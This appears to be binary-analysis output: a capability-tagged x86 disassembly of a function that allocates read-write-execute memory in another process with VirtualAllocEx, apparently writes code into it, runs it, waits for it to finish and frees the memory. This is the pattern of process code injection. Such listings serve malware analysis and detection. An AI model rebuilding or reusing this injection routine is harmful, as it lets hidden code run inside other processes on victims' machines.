Function at 0x40fe36
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x48], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
push dword [ebp + 0xc]
call fcn.00410334
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], 0
push 0
push dword [ebp - 0x50]
mov dword [ebp - 0x54], 0
push 0
push dword [ebp - 0x54]
push dword [ebp - 0x4c]
call fcn.00410350
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40ff05
push ebx
call fcn.0041bb3c
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov eax, 0x423d9a
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.004104ff
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x40ff2d
push ebx
call fcn.0041bb3c
add esp, 4
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xc], eax
push htons
push 0
push 0x423d9a
push 1
mov ebx, 0x194
call fcn.0041c0b0
add esp, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0xb20
push 0x80000301
push 0
push dword [ebp - 0x14]
push 1
mov ebx, 0x1bc
call fcn.0041d520
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40ff8e
push ebx
call fcn.0041bb3c
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
call fcn.004104ff
mov dword [ebp - 0x1c], eax
push 0x80000301
push 0
push 0x2000
push 0x80000301
push 0
push 0x1000
push 2
mov ebx, 0xc8
call fcn.0041d1b0
add esp, 0x1c
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], esp
push 0x40
push dword [ebp - 0x4c]
push 0x1000
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
nop
nop
nop
nop
cmp dword [ebp - 0x50], esp
je 0x410009
push 0x1ec
push 0x409c082
push 6
call fcn.0041bb2a
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x41001b
jmp 0x4102ae
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
fild dword [ebp - 0x24]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fild dword [ebp - 0x10]
fstp qword [ebp - 0x58]
fadd qword [ebp - 0x58]
fstp qword [ebp - 0x60]
fld qword [ebp - 0x60]
call fcn.00404b0a
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x4c], esp
push 0
mov eax, dword [ebp - 0x10]
cdq
push edx
push eax
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x24]
cdq
push edx
push eax
push dword [ebp - 4]
call dword [0x4249d4]
nop
nop
nop
nop
cmp dword [ebp - 0x4c], esp
je 0x410081
push 0x311
push 0x409c082
push 6
call fcn.0041bb2a
add esp, 0xc
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
je 0x410093
jmp 0x4102ae
push 0
push 0x278
push dword [ebp - 0x1c]
call fcn.00410526
lea eax, [ebp - 8]
push eax
call fcn.004104ff
mov dword [ebp - 0x4c], eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp - 0x4c]
push dword [ebp - 0x1c]
call fcn.0041054c
mov dword [ebp - 0x4c], esp
push 0
mov eax, dword [ebp - 0x14]
cdq
push edx
push eax
push dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
cdq
push edx
push eax
push dword [ebp - 4]
call dword [0x4249d4]
nop
nop
nop
nop
cmp dword [ebp - 0x4c], esp
je 0x410105
push 0x488
push 0x409c082
push 6
call fcn.0041bb2a
add esp, 0xc
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
je 0x410117
jmp 0x4102ae
push dword [ebp - 0x28]
push dword [ebp - 0x24]
push dword [ebp - 4]
lea eax, [ebp - 0x30]
push eax
call fcn.00411d8d
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x41013b
jmp 0x4102ae
mov dword [ebp - 0x4c], esp
push 0xffffffff
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
nop
nop
nop
cmp dword [ebp - 0x4c], esp
je 0x41016c
push 0x67f
push 0x409c082
push 6
call fcn.0041bb2a
add esp, 0xc
mov dword [ebp - 0x4c], esp
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
nop
nop
nop
cmp dword [ebp - 0x4c], esp
je 0x410198
push 0x69e
push 0x409c082
push 6
call fcn.0041bb2a
add esp, 0xc
fild dword [ebp - 0x28]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fadd qword [0x423f06]
fstp qword [ebp - 0x58]
fld qword [ebp - 0x58]
call fcn.00404b0a
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x3c]
push eax
call fcn.0041200c
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], esp
push 0
push 0
push 8
push dword [ebp - 0x4c]
mov eax, dword [ebp - 0x34]
cdq
push edx
push eax
push dword [ebp - 4]
call dword [0x4249d8]
nop
nop
nop
nop
cmp dword [ebp - 0x50], esp
je 0x410205
push 0x75b
push 0x409c082
push 6
call fcn.0041bb2a
add esp, 0xc
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x410217
jmp 0x4102ae
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
fild dword [ebp - 0x28]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fadd qword [0x423f0e]
fstp qword [ebp - 0x58]
fld qword [ebp - 0x58]
call fcn.00404b0a
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x44]
push eax
call fcn.0041200c
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], esp
push 0
push 0
push 8
push dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
cdq
push edx
push eax
push dword [ebp - 4]
call dword [0x4249d8]
nop
nop
nop
nop
cmp dword [ebp - 0x50], esp
je 0x410292
push 0x86c
push 0x409c082
push 6
call fcn.0041bb2a
add esp, 0xc
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x4102a4
jmp 0x4102ae
jmp 0x4102ae
cmp dword [ebp - 0x20], 0
je 0x4102f1
mov dword [ebp - 0x4c], esp
push 0x8000
push 0
push dword [ebp - 0x20]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
nop
nop
nop
nop
cmp dword [ebp - 0x4c], esp
je 0x4102f1
push 0x929
push 0x409c082
push 6
call fcn.0041bb2a
add esp, 0xc
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp + 0x1c]
mov dword [ebx], eax
mov dword [ebx + 4], edx
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
jmp 0x41030a
push edx
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41031c
push ebx
call fcn.0041bb3c
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x41032c
push ebx
call fcn.0041bb3c
add esp, 4
pop eax
pop edx
mov esp, ebp
pop ebp
ret 0x1c